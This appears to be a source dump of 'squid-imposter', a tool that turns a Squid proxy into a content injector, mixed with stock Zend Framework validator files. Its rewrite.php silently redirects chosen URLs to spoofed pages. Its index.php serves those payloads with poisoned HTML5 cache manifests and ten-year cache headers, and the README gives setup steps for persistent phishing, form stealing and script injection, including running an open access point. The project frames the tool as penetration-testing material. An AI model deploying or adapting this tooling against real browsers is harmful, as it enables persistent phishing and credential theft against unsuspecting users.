| 84 | return parent::checksum($value); 85 | } 86 | 87 | /** 88 | * Validates the checksum () 89 | * ISSN implementation (reversed mod11) 90 | * 91 | * @param string $value The barcode to validate 92 | * @return boolean 93 | */ 94 | protected function _issn($value) 95 | { 96 | $checksum = substr($value, -1, 1); 97 | $values = str_split(substr($value, 0, -1)); 98 | $check = 0; 99 | $multi = 8; 100 | foreach($values as $token) { 101 | if ($token == 'X') { 102 | $token = 10; 103 | } 104 | 105 | $check += ($token * $multi); 106 | --$multi; 107 | } 108 | 109 | $check %= 11; 110 | $check = 11 - $check; 111 | if ($check == $checksum) { 112 | return true; 113 | } else if (($check == 10) && ($checksum == 'X')) { 114 | return true; 115 | } 116 | 117 | return false; 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Text.php: -------------------------------------------------------------------------------- 1 | setFeature('images', false, 'product_capability'); 76 | $this->setFeature('iframes', false, 'product_capability'); 77 | $this->setFeature('frames', false, 'product_capability'); 78 | $this->setFeature('javascript', false, 'product_capability'); 79 | return parent::_defineFeatures(); 80 | } 81 | 82 | /** 83 | * Determine supported image formats 84 | * 85 | * @return null 86 | */ 87 | public function getImageFormatSupport() 88 | { 89 | return null; 90 | } 91 | 92 | /** 93 | * Get preferred markup format 94 | * 95 | * @return string 96 | */ 97 | public function getPreferredMarkup() 98 | { 99 | return 'xhtml'; 100 | } 101 | 102 | /** 103 | * Get supported X/HTML markup level 104 | * 105 | * @return int 106 | */ 107 | public function getXhtmlSupportLevel() 108 | { 109 | return 1; 110 | } 111 | 112 | /** 113 | * Does the device support Flash? 114 | * 115 | * @return bool 116 | */ 117 | public function hasFlashSupport() 118 | { 119 | 120 | return false; 121 | } 122 | 123 | /** 124 | * Does the device support PDF? 125 | * 126 | * @return bool 127 | */ 128 | public function hasPdfSupport() 129 | { 130 | return false; 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /Zend/Validate/Ccnum.php: -------------------------------------------------------------------------------- 1 | "'%value%' must contain between 13 and 19 digits", 59 | self::CHECKSUM => "Luhn algorithm (mod-10 checksum) failed on '%value%'" 60 | ); 61 | 62 | public function __construct() 63 | { 64 | trigger_error('Using the Ccnum validator is deprecated in favor of the CreditCard validator'); 65 | } 66 | 67 | /** 68 | * Defined by Zend_Validate_Interface 69 | * 70 | * Returns true if and only if $value follows the Luhn algorithm (mod-10 checksum) 71 | * 72 | * @param string $value 73 | * @return boolean 74 | */ 75 | public function isValid($value) 76 | { 77 | $this->_setValue($value); 78 | 79 | if (null === self::$_filter) { 80 | /** 81 | * @see Zend_Filter_Digits 82 | */ 83 | require_once 'Zend/Filter/Digits.php'; 84 | self::$_filter = new Zend_Filter_Digits(); 85 | } 86 | 87 | $valueFiltered = self::$_filter->filter($value); 88 | 89 | $length = strlen($valueFiltered); 90 | 91 | if ($length < 13 || $length > 19) { 92 | $this->_error(self::LENGTH); 93 | return false; 94 | } 95 | 96 | $sum = 0; 97 | $weight = 2; 98 | 99 | for ($i = $length - 2; $i >= 0; $i--) { 100 | $digit = $weight * $valueFiltered[$i]; 101 | $sum += floor($digit / 10) + $digit % 10; 102 | $weight = $weight % 2 + 1; 103 | } 104 | 105 | if ((10 - $sum % 10) % 10 != $valueFiltered[$length - 1]) { 106 | $this->_error(self::CHECKSUM, $valueFiltered); 107 | return false; 108 | } 109 | 110 | return true; 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Bot.php: -------------------------------------------------------------------------------- 1 | 9 | */ 10 | ini_set('display_errors', true); 11 | set_error_handler('error_handler'); 12 | $cfg = read_config_file(); 13 | // do_log("Started"); 14 | while ($input = fgets(STDIN)) { 15 | 16 | if (!empty($cfg['test_mode'])) // refresh config file at each request 17 | $cfg = read_config_file(); 18 | 19 | // Split the output (space delimited) from squid into an array. 20 | $line = explode(' ', $input); 21 | 22 | $url = trim($line[0]); 23 | 24 | if (count($line) >= 4) { 25 | $ip_fqdn = $line[1]; 26 | $user = $line[2]; 27 | $method = $line[3]; 28 | } 29 | 30 | $elements = array('payload', 'manifest'); 31 | 32 | foreach ($cfg as $site_id => $site) { 33 | foreach ($elements as $element) { 34 | if ($match = url_matches($url, $site, $element)) { 35 | if (empty($site[$element])) { 36 | $site[$element] = !empty($match[1]) ? $match[1] : $match[0]; // correct url in case of match 37 | } 38 | $params = array( 39 | 'site' => $site_id, 40 | 'url' => $url, 41 | 'match' => $match, 42 | 'payload' => !empty($site['payload']) ? $site['payload'] : '', 43 | 'manifest' => !empty($site['manifest']) ? $site['manifest'] : '', 44 | 'show' => $element, 45 | ); 46 | 47 | $url = $cfg['config']['imposter'] . '?' . http_build_query($params, '', '&'); 48 | do_log(trim($input) . ' -> ' . $url); 49 | break 2; 50 | } 51 | } 52 | } 53 | 54 | echo $url . "\n"; 55 | } 56 | 57 | /** 58 | * In case of any error, redirect to a dummy page with error details 59 | */ 60 | function error_handler($errno, $errstr, $errfile, $errline) { 61 | global $cfg, $url; 62 | do_log("Error at line $errline - $errstr. URL: $url"); 63 | if (!empty($cfg['config']['test_mode'])) { 64 | // return error msg to client 65 | echo '301:http://error-at-line-' . (int) $errline . '/' . urlencode($errstr) . "\n"; 66 | } else { 67 | echo $url."\n"; // fail silently 68 | } 69 | die(); 70 | } 71 | 72 | function read_config_file() { 73 | return parse_ini_file(dirname(__FILE__) . '/payloads/config.ini', true); 74 | } 75 | 76 | /** 77 | * Checks if URL matches given site element 78 | * 79 | * @param string $url 80 | * @param array $site 81 | * @param string $element 82 | */ 83 | function url_matches($url, $site, $element) { 84 | 85 | if (!empty($site[$element . '_match'])) { 86 | // match URL to a regular expression 87 | // Caution: be sure to test the regex! 88 | $pattern = $site[$element . '_match']; 89 | 90 | $match = array(); 91 | if (preg_match($pattern, $url, $match)) { 92 | return $match; 93 | } 94 | return false; 95 | } 96 | 97 | if (empty($site[$element])) 98 | return false; 99 | 100 | if (substr($site[$element], 0, 1) == '/') { // domain relative url 101 | $m = array(); 102 | if (preg_match('#(https?://.*?)/#', $url, $m)) { 103 | $site[$element] = $m[1] . $site[$element]; // prepend current domain 104 | } 105 | } 106 | 107 | return ($url == $site[$element]) ? array($url) : false; // simple string matching 108 | } 109 | 110 | //do_log("Exit"); 111 | 112 | function do_log($s) { 113 | global $cfg; 114 | if (!empty($cfg['config']['logfile'])) { 115 | file_put_contents(dirname(__FILE__) . '/' . $cfg['config']['logfile'], date("[Y-m-d H:i:s]") .' ' . $s . "\n", FILE_APPEND); 116 | } 117 | } -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 9 | */ 10 | if (empty($_GET['site'])) { 11 | echo 'This file should not be requested directly'; 12 | die(); 13 | } 14 | $_GET['site'] = preg_replace('/[^a-z0-9_\.-]/i', '', $_GET['site']); 15 | 16 | $standard_prefix = dirname(__FILE__) . '/payloads/' . $_GET['site']; 17 | $default_prefix = dirname(__FILE__) . '/payloads/default'; 18 | 19 | $output = "Squid-imposter could not find files for site: {$_GET['site']}!"; 20 | 21 | // try site_id.{manifest|payload|append} files first, 22 | // default.{manifest|payload|append} then 23 | foreach (array($standard_prefix, $default_prefix) as $prefix) { 24 | switch ($_GET['show']) { 25 | case 'manifest': 26 | if (file_exists($prefix.'.manifest')) { 27 | header('Content-Type: text/cache-manifest'); 28 | $output = file_get_contents($prefix.'.manifest'); 29 | break 2; 30 | } 31 | break; 32 | case 'payload': 33 | if (file_exists($prefix.'.payload')) { 34 | $output = file_get_contents($prefix.'.payload'); 35 | break 2; 36 | } 37 | 38 | if (file_exists($prefix.'.append')) { 39 | $output = append_file_to_url($_GET['url'], $prefix.'.append'); 40 | break 2; 41 | } 42 | break; 43 | } 44 | } 45 | 46 | // set up standard HTTP caching 47 | $ten_years = 315569260; 48 | header('Cache-Control: max-age=' . $ten_years); // ten years 49 | header('Last-Modified: Mon, 29 Jun 1998 02:28:12 GMT'); // it was modifed long ago, so is most likely fresh 50 | header("Expires: " . gmdate("D, d M Y H:i:s", time() + $ten_years) . " GMT"); 51 | 52 | echo decorate($output, $_GET); 53 | exit(); 54 | 55 | function append_file_to_url($url, $file) { 56 | $output = get_url($url); 57 | return str_ireplace('', file_get_contents($file) . '', $output); 58 | } 59 | 60 | /** 61 | * Decorates resulting HTML file, replacing %%variables%% with actual values and appending manifest URL to tag. 62 | * @param string $text 63 | * @param array $variables 64 | * @return string 65 | */ 66 | function decorate($text, $variables = array()) { 67 | $text = str_ireplace(' $v) { 70 | $search[] = '%%' . $k . '%%'; 71 | $replace[] = $v; 72 | } 73 | return str_replace($search, $replace, $text); 74 | } 75 | 76 | /** 77 | * Retrieves given URL (GET method), forwarding current client headers to target host 78 | * @param string $url 79 | * @return string response body 80 | */ 81 | function get_url($url) { 82 | // Ensure library/ is on include_path 83 | set_include_path(implode(PATH_SEPARATOR, array( 84 | realpath(dirname(__FILE__) . '.'), 85 | get_include_path(), 86 | ))); 87 | 88 | require_once 'Zend/Loader/Autoloader.php'; 89 | $autoloader = Zend_Loader_Autoloader::getInstance(); 90 | $autoloader->setFallbackAutoloader(true); 91 | 92 | $headers = array(); 93 | 94 | if (function_exists('apache_request_headers')) { 95 | $headers = apache_request_headers(); 96 | } 97 | 98 | unset($headers['Via']); 99 | unset($headers['X-Forwarded-For']); 100 | unset($headers['Host']); 101 | 102 | $client = new Zend_Http_Client(); 103 | $client->setUri($url); 104 | $client->setHeaders($headers); 105 | $client->request(); 106 | 107 | $response = $client->getLastResponse(); 108 | 109 | $body = $response->getBody(); 110 | return $body; 111 | } 112 | 113 | ?> 114 | -------------------------------------------------------------------------------- /Zend/Http/UserAgent/Features/Adapter/TeraWurfl.php: -------------------------------------------------------------------------------- 1 | getDeviceCapabilitiesFromRequest(array_change_key_case($request, CASE_UPPER)); 75 | 76 | return self::getAllCapabilities($wurflObj); 77 | } 78 | 79 | /*** 80 | * Builds an array with all capabilities 81 | * 82 | * @param TeraWurfl $wurflObj TeraWurfl object 83 | */ 84 | public static function getAllCapabilities(TeraWurfl $wurflObj) 85 | { 86 | 87 | foreach ($wurflObj->capabilities as $group) { 88 | if (!is_array($group)) { 89 | continue; 90 | } 91 | while (list ($key, $value) = each($group)) { 92 | if (is_bool($value)) { 93 | // to have the same type than the official WURFL API 94 | $features[$key] = ($value ? 'true' : 'false'); 95 | } else { 96 | $features[$key] = $value; 97 | } 98 | } 99 | } 100 | return $features; 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Code93.php: -------------------------------------------------------------------------------- 1 | 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5, '6' => 6, 59 | '7' => 7, '8' => 8, '9' => 9, 'A' => 10, 'B' => 11, 'C' => 12, 'D' => 13, 60 | 'E' => 14, 'F' => 15, 'G' => 16, 'H' => 17, 'I' => 18, 'J' => 19, 'K' => 20, 61 | 'L' => 21, 'M' => 22, 'N' => 23, 'O' => 24, 'P' => 25, 'Q' => 26, 'R' => 27, 62 | 'S' => 28, 'T' => 29, 'U' => 30, 'V' => 31, 'W' => 32, 'X' => 33, 'Y' => 34, 63 | 'Z' => 35, '-' => 36, '.' => 37, ' ' => 38, '$' => 39, '/' => 40, '+' => 41, 64 | '%' => 42, '!' => 43, '"' => 44, '§' => 45, '&' => 46, 65 | ); 66 | 67 | /** 68 | * Constructor 69 | * 70 | * Sets check flag to false. 71 | * 72 | * @return void 73 | */ 74 | public function __construct() 75 | { 76 | $this->setCheck(false); 77 | } 78 | 79 | /** 80 | * Validates the checksum (Modulo CK) 81 | * 82 | * @param string $value The barcode to validate 83 | * @return boolean 84 | */ 85 | protected function _code93($value) 86 | { 87 | $checksum = substr($value, -2, 2); 88 | $value = str_split(substr($value, 0, -2)); 89 | $count = 0; 90 | $length = count($value) % 20; 91 | foreach($value as $char) { 92 | if ($length == 0) { 93 | $length = 20; 94 | } 95 | 96 | $count += $this->_check[$char] * $length; 97 | --$length; 98 | } 99 | 100 | $check = array_search(($count % 47), $this->_check); 101 | $value[] = $check; 102 | $count = 0; 103 | $length = count($value) % 15; 104 | foreach($value as $char) { 105 | if ($length == 0) { 106 | $length = 15; 107 | } 108 | 109 | $count += $this->_check[$char] * $length; 110 | --$length; 111 | } 112 | $check .= array_search(($count % 47), $this->_check); 113 | 114 | if ($check == $checksum) { 115 | return true; 116 | } 117 | 118 | return false; 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /Zend/Validate/File/ExcludeMimeType.php: -------------------------------------------------------------------------------- 1 | null, 57 | 'name' => $value 58 | ); 59 | } 60 | 61 | // Is file readable ? 62 | require_once 'Zend/Loader.php'; 63 | if (!Zend_Loader::isReadable($value)) { 64 | return $this->_throw($file, self::NOT_READABLE); 65 | } 66 | 67 | $mimefile = $this->getMagicFile(); 68 | if (class_exists('finfo', false)) { 69 | $const = defined('FILEINFO_MIME_TYPE') ? FILEINFO_MIME_TYPE : FILEINFO_MIME; 70 | if (!empty($mimefile)) { 71 | $mime = new finfo($const, $mimefile); 72 | } else { 73 | $mime = new finfo($const); 74 | } 75 | 76 | if (!empty($mime)) { 77 | $this->_type = $mime->file($value); 78 | } 79 | unset($mime); 80 | } 81 | 82 | if (empty($this->_type)) { 83 | if (function_exists('mime_content_type') && ini_get('mime_magic.magicfile')) { 84 | $this->_type = mime_content_type($value); 85 | } elseif ($this->_headerCheck) { 86 | $this->_type = $file['type']; 87 | } 88 | } 89 | 90 | if (empty($this->_type)) { 91 | return $this->_throw($file, self::NOT_DETECTED); 92 | } 93 | 94 | $mimetype = $this->getMimeType(true); 95 | if (in_array($this->_type, $mimetype)) { 96 | return $this->_throw($file, self::FALSE_TYPE); 97 | } 98 | 99 | $types = explode('/', $this->_type); 100 | $types = array_merge($types, explode('-', $this->_type)); 101 | foreach($mimetype as $mime) { 102 | if (in_array($mime, $types)) { 103 | return $this->_throw($file, self::FALSE_TYPE); 104 | } 105 | } 106 | 107 | return true; 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /Zend/Validate/Float.php: -------------------------------------------------------------------------------- 1 | "Invalid type given. String, integer or float expected", 48 | self::NOT_FLOAT => "'%value%' does not appear to be a float", 49 | ); 50 | 51 | protected $_locale; 52 | 53 | /** 54 | * Constructor for the float validator 55 | * 56 | * @param string|Zend_Config|Zend_Locale $locale 57 | */ 58 | public function __construct($locale = null) 59 | { 60 | if ($locale instanceof Zend_Config) { 61 | $locale = $locale->toArray(); 62 | } 63 | 64 | if (is_array($locale)) { 65 | if (array_key_exists('locale', $locale)) { 66 | $locale = $locale['locale']; 67 | } else { 68 | $locale = null; 69 | } 70 | } 71 | 72 | if (empty($locale)) { 73 | require_once 'Zend/Registry.php'; 74 | if (Zend_Registry::isRegistered('Zend_Locale')) { 75 | $locale = Zend_Registry::get('Zend_Locale'); 76 | } 77 | } 78 | 79 | $this->setLocale($locale); 80 | } 81 | 82 | /** 83 | * Returns the set locale 84 | */ 85 | public function getLocale() 86 | { 87 | return $this->_locale; 88 | } 89 | 90 | /** 91 | * Sets the locale to use 92 | * 93 | * @param string|Zend_Locale $locale 94 | */ 95 | public function setLocale($locale = null) 96 | { 97 | require_once 'Zend/Locale.php'; 98 | $this->_locale = Zend_Locale::findLocale($locale); 99 | return $this; 100 | } 101 | 102 | /** 103 | * Defined by Zend_Validate_Interface 104 | * 105 | * Returns true if and only if $value is a floating-point value 106 | * 107 | * @param string $value 108 | * @return boolean 109 | */ 110 | public function isValid($value) 111 | { 112 | if (!is_string($value) && !is_int($value) && !is_float($value)) { 113 | $this->_error(self::INVALID); 114 | return false; 115 | } 116 | 117 | if (is_float($value)) { 118 | return true; 119 | } 120 | 121 | $this->_setValue($value); 122 | try { 123 | if (!Zend_Locale_Format::isFloat($value, array('locale' => $this->_locale))) { 124 | $this->_error(self::NOT_FLOAT); 125 | return false; 126 | } 127 | } catch (Zend_Locale_Exception $e) { 128 | $this->_error(self::NOT_FLOAT); 129 | return false; 130 | } 131 | 132 | return true; 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /Zend/Validate/Barcode/Royalmail.php: -------------------------------------------------------------------------------- 1 | 1, '1' => 1, '2' => 1, '3' => 1, '4' => 1, '5' => 1, 49 | '6' => 2, '7' => 2, '8' => 2, '9' => 2, 'A' => 2, 'B' => 2, 50 | 'C' => 3, 'D' => 3, 'E' => 3, 'F' => 3, 'G' => 3, 'H' => 3, 51 | 'I' => 4, 'J' => 4, 'K' => 4, 'L' => 4, 'M' => 4, 'N' => 4, 52 | 'O' => 5, 'P' => 5, 'Q' => 5, 'R' => 5, 'S' => 5, 'T' => 5, 53 | 'U' => 0, 'V' => 0, 'W' => 0, 'X' => 0, 'Y' => 0, 'Z' => 0, 54 | ); 55 | 56 | protected $_columns = array( 57 | '0' => 1, '1' => 2, '2' => 3, '3' => 4, '4' => 5, '5' => 0, 58 | '6' => 1, '7' => 2, '8' => 3, '9' => 4, 'A' => 5, 'B' => 0, 59 | 'C' => 1, 'D' => 2, 'E' => 3, 'F' => 4, 'G' => 5, 'H' => 0, 60 | 'I' => 1, 'J' => 2, 'K' => 3, 'L' => 4, 'M' => 5, 'N' => 0, 61 | 'O' => 1, 'P' => 2, 'Q' => 3, 'R' => 4, 'S' => 5, 'T' => 0, 62 | 'U' => 1, 'V' => 2, 'W' => 3, 'X' => 4, 'Y' => 5, 'Z' => 0, 63 | ); 64 | 65 | /** 66 | * Checksum function 67 | * @var string 68 | */ 69 | protected $_checksum = '_royalmail'; 70 | 71 | /** 72 | * Validates the checksum () 73 | * 74 | * @param string $value The barcode to validate 75 | * @return boolean 76 | */ 77 | protected function _royalmail($value) 78 | { 79 | $checksum = substr($value, -1, 1); 80 | $values = str_split(substr($value, 0, -1)); 81 | $rowvalue = 0; 82 | $colvalue = 0; 83 | foreach($values as $row) { 84 | $rowvalue += $this->_rows[$row]; 85 | $colvalue += $this->_columns[$row]; 86 | } 87 | 88 | $rowvalue %= 6; 89 | $colvalue %= 6; 90 | 91 | $rowchkvalue = array_keys($this->_rows, $rowvalue); 92 | $colchkvalue = array_keys($this->_columns, $colvalue); 93 | $chkvalue = current(array_intersect($rowchkvalue, $colchkvalue)); 94 | if ($chkvalue == $checksum) { 95 | return true; 96 | } 97 | 98 | return false; 99 | } 100 | 101 | /** 102 | * Allows start and stop tag within checked chars 103 | * 104 | * @param string $value The barcode to check for allowed characters 105 | * @return boolean 106 | */ 107 | public function checkChars($value) 108 | { 109 | if ($value[0] == '(') { 110 | $value = substr($value, 1); 111 | 112 | if ($value[strlen($value) - 1] == ')') { 113 | $value = substr($value, 0, -1); 114 | } else { 115 | return false; 116 | } 117 | } 118 | 119 | return parent::checkChars($value); 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | SQUID-IMPOSTER 2 | 3 | Project makes it easy to create Squid-based proxy injecting your own content to chosen website URLs. Modified content is then persisted in client's browser even when the client no longer connects through your proxy thanks to HTML5 Offline cache features. 4 | Injected content may for example be used to form a phishing attack during penetration test. 5 | 6 | This is a port of HTML5 offline cache poisoning features introduced in Imposter to Squid/Apache/PHP setup. 7 | 8 | Imposter: http://www.andlabs.org/tools/imposter/imposter.html by Lavakumar Kuppan 9 | Port by Krzysztof Kotowicz 10 | 11 | Architecture 12 | ============ 13 | Diagram describing squid-imposter architecture is in squid-imposter.png file. You may also consult 14 | andlabs.org for further explanations on what Imposter is and what can it do. 15 | 16 | Requirements 17 | ============ 18 | - PHP 5.2 19 | - Apache 20 | - mod_php 21 | - Squid 22 | 23 | 24 | Instalation 25 | =========== 26 | 1. Put the files somewhere within Apache document root. Note the URL to the directory with the files and insert it into config.ini 'imposter' setting 27 | 28 | 2. Setup squid rewrite program: in /etc/squid/squid.conf insert the line: 29 | url_rewrite_program /absolute/path-to/rewrite.php 30 | 31 | Default installation of squid on Ubuntu will do just fine with this single-line change. 32 | 33 | This will make squid pass every URL requested by client to rewrite.php script for possible silent redirection. 34 | 35 | 3. Setup targetted websites 36 | 37 | Edit config.ini file and insert a section for each website. Section name will be the site id. Each section should have a payload= and manifest= values. For example, to spoof example.com login page, enter: 38 | [example_com] 39 | payload=http://example.com/login.asp 40 | manifest=http://example.com/images/blank.gif 41 | 42 | 'payload' is the URL that should be replaced in the offline cache. 'manifest' is the cache manifest file. Choose some static file present on the live domain to make the attack more permanent (browsers will try to refresh cache manifest on each page load). 43 | 44 | 4. Prepare the payload files 45 | 46 | At most three files will be used for each website: 47 | - .payload is the payload file. It's a copy of a website page with additional decorations made by you (e.g. form values stealing, script injection etc.) 48 | - .manifest is the injected cache manifest file. 49 | - .append (optional) - instead of using .payload file, the actual URL will be fetched by the server and this file will be appended right before . Not as bulletproof as .payload file, but may sometimes be simpler to set up. If .payload and .append files are present, .payload takes precedence. 50 | 51 | There are also default.manifest and default.append files used when there is no specific file for a given site id. 52 | 53 | In every file you may use these strings: 54 | %%manifest%% - manifest URL 55 | %%payload%% - payload URL 56 | 57 | Also, declaration and appropriete 'cache for 10 years' HTTP headers will be added automatically to payload. 58 | 59 | 5. Set up squid proxy in the HTML5-supporting browser (or make an open access point serviced by the squid proxy) and enjoy :) 60 | Default squid port is 3128. 61 | 62 | 63 | When you're changing config.ini entries, be sure to restart squid (sudo /etc/init.d/squid restart) to refresh the changes. 64 | 65 | License 66 | ======= 67 | 68 | Copyright (c) 2010 Krzysztof Kotowicz 69 | 70 | Permission is hereby granted, free of charge, to any person obtaining a copy 71 | of this software and associated documentation files (the "Software"), to deal 72 | in the Software without restriction, including without limitation the rights 73 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 74 | copies of the Software, and to permit persons to whom the Software is 75 | furnished to do so, subject to the following conditions: 76 | 77 | The above copyright notice and this permission notice shall be included in 78 | all copies or substantial portions of the Software. 79 | 80 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 81 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 82 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 83 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 84 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 85 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 86 | THE SOFTWARE. 87 | -------------------------------------------------------------------------------- /Zend/Validate/Int.php: -------------------------------------------------------------------------------- 1 | "Invalid type given. String or integer expected", 48 | self::NOT_INT => "'%value%' does not appear to be an integer", 49 | ); 50 | 51 | protected $_locale; 52 | 53 | /** 54 | * Constructor for the integer validator 55 | * 56 | * @param string|Zend_Config|Zend_Locale $locale 57 | */ 58 | public function __construct($locale = null) 59 | { 60 | if ($locale instanceof Zend_Config) { 61 | $locale = $locale->toArray(); 62 | } 63 | 64 | if (is_array($locale)) { 65 | if (array_key_exists('locale', $locale)) { 66 | $locale = $locale['locale']; 67 | } else { 68 | $locale = null; 69 | } 70 | } 71 | 72 | if (empty($locale)) { 73 | require_once 'Zend/Registry.php'; 74 | if (Zend_Registry::isRegistered('Zend_Locale')) { 75 | $locale = Zend_Registry::get('Zend_Locale'); 76 | } 77 | } 78 | 79 | if ($locale !== null) { 80 | $this->setLocale($locale); 81 | } 82 | } 83 | 84 | /** 85 | * Returns the set locale 86 | */ 87 | public function getLocale() 88 | { 89 | return $this->_locale; 90 | } 91 | 92 | /** 93 | * Sets the locale to use 94 | * 95 | * @param string|Zend_Locale $locale 96 | */ 97 | public function setLocale($locale = null) 98 | { 99 | require_once 'Zend/Locale.php'; 100 | $this->_locale = Zend_Locale::findLocale($locale); 101 | return $this; 102 | } 103 | 104 | /** 105 | * Defined by Zend_Validate_Interface 106 | * 107 | * Returns true if and only if $value is a valid integer 108 | * 109 | * @param string|integer $value 110 | * @return boolean 111 | */ 112 | public function isValid($value) 113 | { 114 | if (!is_string($value) && !is_int($value) && !is_float($value)) { 115 | $this->_error(self::INVALID); 116 | return false; 117 | } 118 | 119 | if (is_int($value)) { 120 | return true; 121 | } 122 | 123 | $this->_setValue($value); 124 | if ($this->_locale === null) { 125 | $locale = localeconv(); 126 | $valueFiltered = str_replace($locale['decimal_point'], '.', $value); 127 | $valueFiltered = str_replace($locale['thousands_sep'], '', $valueFiltered); 128 | 129 | if (strval(intval($valueFiltered)) != $valueFiltered) { 130 | $this->_error(self::NOT_INT); 131 | return false; 132 | } 133 | 134 | } else { 135 | try { 136 | if (!Zend_Locale_Format::isInteger($value, array('locale' => $this->_locale))) { 137 | $this->_error(self::NOT_INT); 138 | return false; 139 | } 140 | } catch (Zend_Locale_Exception $e) { 141 | $this->_error(self::NOT_INT); 142 | return false; 143 | } 144 | } 145 | 146 | return true; 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /Zend/Validate/Regex.php: -------------------------------------------------------------------------------- 1 | "Invalid type given. String, integer or float expected", 44 | self::NOT_MATCH => "'%value%' does not match against pattern '%pattern%'", 45 | self::ERROROUS => "There was an internal error while using the pattern '%pattern%'", 46 | ); 47 | 48 | /** 49 | * @var array 50 | */ 51 | protected $_messageVariables = array( 52 | 'pattern' => '_pattern' 53 | ); 54 | 55 | /** 56 | * Regular expression pattern 57 | * 58 | * @var string 59 | */ 60 | protected $_pattern; 61 | 62 | /** 63 | * Sets validator options 64 | * 65 | * @param string|Zend_Config $pattern 66 | * @throws Zend_Validate_Exception On missing 'pattern' parameter 67 | * @return void 68 | */ 69 | public function __construct($pattern) 70 | { 71 | if ($pattern instanceof Zend_Config) { 72 | $pattern = $pattern->toArray(); 73 | } 74 | 75 | if (is_array($pattern)) { 76 | if (array_key_exists('pattern', $pattern)) { 77 | $pattern = $pattern['pattern']; 78 | } else { 79 | require_once 'Zend/Validate/Exception.php'; 80 | throw new Zend_Validate_Exception("Missing option 'pattern'"); 81 | } 82 | } 83 | 84 | $this->setPattern($pattern); 85 | } 86 | 87 | /** 88 | * Returns the pattern option 89 | * 90 | * @return string 91 | */ 92 | public function getPattern() 93 | { 94 | return $this->_pattern; 95 | } 96 | 97 | /** 98 | * Sets the pattern option 99 | * 100 | * @param string $pattern 101 | * @throws Zend_Validate_Exception if there is a fatal error in pattern matching 102 | * @return Zend_Validate_Regex Provides a fluent interface 103 | */ 104 | public function setPattern($pattern) 105 | { 106 | $this->_pattern = (string) $pattern; 107 | $status = @preg_match($this->_pattern, "Test"); 108 | 109 | if (false === $status) { 110 | require_once 'Zend/Validate/Exception.php'; 111 | throw new Zend_Validate_Exception("Internal error while using the pattern '$this->_pattern'"); 112 | } 113 | 114 | return $this; 115 | } 116 | 117 | /** 118 | * Defined by Zend_Validate_Interface 119 | * 120 | * Returns true if and only if $value matches against the pattern option 121 | * 122 | * @param string $value 123 | * @return boolean 124 | */ 125 | public function isValid($value) 126 | { 127 | if (!is_string($value) && !is_int($value) && !is_float($value)) { 128 | $this->_error(self::INVALID); 129 | return false; 130 | } 131 | 132 | $this->_setValue($value); 133 | 134 | $status = @preg_match($this->_pattern, $value); 135 | if (false === $status) { 136 | $this->_error(self::ERROROUS); 137 | return false; 138 | } 139 | 140 | if (!$status) { 141 | $this->_error(self::NOT_MATCH); 142 | return false; 143 | } 144 | 145 | return true; 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /Zend/Validate/Alpha.php: -------------------------------------------------------------------------------- 1 | "Invalid type given. String expected", 61 | self::NOT_ALPHA => "'%value%' contains non alphabetic characters", 62 | self::STRING_EMPTY => "'%value%' is an empty string" 63 | ); 64 | 65 | /** 66 | * Sets default option values for this instance 67 | * 68 | * @param boolean|Zend_Config $allowWhiteSpace 69 | * @return void 70 | */ 71 | public function __construct($allowWhiteSpace = false) 72 | { 73 | if ($allowWhiteSpace instanceof Zend_Config) { 74 | $allowWhiteSpace = $allowWhiteSpace->toArray(); 75 | } 76 | 77 | if (is_array($allowWhiteSpace)) { 78 | if (array_key_exists('allowWhiteSpace', $allowWhiteSpace)) { 79 | $allowWhiteSpace = $allowWhiteSpace['allowWhiteSpace']; 80 | } else { 81 | $allowWhiteSpace = false; 82 | } 83 | } 84 | 85 | $this->allowWhiteSpace = (boolean) $allowWhiteSpace; 86 | } 87 | 88 | /** 89 | * Returns the allowWhiteSpace option 90 | * 91 | * @return boolean 92 | */ 93 | public function getAllowWhiteSpace() 94 | { 95 | return $this->allowWhiteSpace; 96 | } 97 | 98 | /** 99 | * Sets the allowWhiteSpace option 100 | * 101 | * @param boolean $allowWhiteSpace 102 | * @return Zend_Filter_Alpha Provides a fluent interface 103 | */ 104 | public function setAllowWhiteSpace($allowWhiteSpace) 105 | { 106 | $this->allowWhiteSpace = (boolean) $allowWhiteSpace; 107 | return $this; 108 | } 109 | 110 | /** 111 | * Defined by Zend_Validate_Interface 112 | * 113 | * Returns true if and only if $value contains only alphabetic characters 114 | * 115 | * @param string $value 116 | * @return boolean 117 | */ 118 | public function isValid($value) 119 | { 120 | if (!is_string($value)) { 121 | $this->_error(self::INVALID); 122 | return false; 123 | } 124 | 125 | $this->_setValue($value); 126 | 127 | if ('' === $value) { 128 | $this->_error(self::STRING_EMPTY); 129 | return false; 130 | } 131 | 132 | if (null === self::$_filter) { 133 | /** 134 | * @see Zend_Filter_Alpha 135 | */ 136 | require_once 'Zend/Filter/Alpha.php'; 137 | self::$_filter = new Zend_Filter_Alpha(); 138 | } 139 | 140 | self::$_filter->allowWhiteSpace = $this->allowWhiteSpace; 141 | 142 | if ($value !== self::$_filter->filter($value)) { 143 | $this->_error(self::NOT_ALPHA); 144 | return false; 145 | } 146 | 147 | return true; 148 | } 149 | 150 | } 151 | -------------------------------------------------------------------------------- /Zend/Validate/Alnum.php: 